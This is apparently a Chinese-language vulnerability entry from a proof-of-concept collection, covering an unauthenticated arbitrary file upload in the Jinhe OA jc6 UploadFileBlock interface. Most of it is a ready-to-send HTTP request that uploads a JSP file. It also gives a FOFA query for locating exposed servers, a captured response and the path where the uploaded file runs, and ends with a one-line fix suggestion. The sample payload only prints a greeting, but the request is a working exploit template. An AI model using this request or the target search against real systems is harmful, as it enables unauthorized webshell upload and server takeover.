

J1-8金和-OA-文件上传

漏洞描述：

金和OA jc6系统UploadFileBlock接口处存在任意文件上传漏洞，未经身份认证的攻击者可利用此漏洞上传恶意后门文件，最终可导致服务器失陷。

影响版本：

- 金和 OA

网络测绘：

fofa语法：

FOFA: body="/jc6/platform/sys/login"

漏洞复现：

payload:

```
POST /jc6/JHSoft.WCF/Attachment/UploadFileBlock HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept: */*
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5iALAX1SiqxJXrhK

-----WebKitFormBoundary5iALAX1SiqxJXrhK
Content-Disposition: form-data; name="filename"; filename="a.jsp"

<% out.println("Hello, World!"); %>
-----WebKitFormBoundary5iALAX1SiqxJXrhK--
```

效果图:

Request

< > 数据包扫描 热加载 构造请求

1 POST /jc6/JHSoft.WCF/Attachment/UploadFileBlock HTTP/1.1

2 Host: [redacted]

3 User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0

4 Accept: */*

5 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3

6 Accept-Encoding: gzip, deflate

7 Accept-Language: zh-CN,zh;q=0.8

8 Connection: close

9 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5iALAX1SiqxJXrhK

10

11 -----WebKitFormBoundary5iALAX1SiqxJXrhK

12 Content-Disposition: form-data; name="filename"; filename="a.jsp"

13

14 <%out.println("Hello, World!"); %>

15 -----WebKitFormBoundary5iALAX1SiqxJXrhK--

Responses 481bytes / 92ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Content-Type: text/html; charset=utf-8

4 Date: Sat, 03 Feb 2024 11:29:37 GMT

5 Connection: close

6 Content-Length: 481

7

8 {"base64Str":"","files":[{"cacheUrl":"http download!downloadFileFromCache.action?atta attId=null&fileName=a.jsp","docType":"","e "image":false,"module":"","name":"a.jsp" "uploadTime":"1706959777435","url":"http:\ action?attachmentId=8ab590858d68e92b018d6e

验证url

/jc6/upload/a.jsp

< > ↻

⚠ 不安全 [redacted] /jc6/upload/a.jsp

Hello, World!

修复建议：

更新到最新系统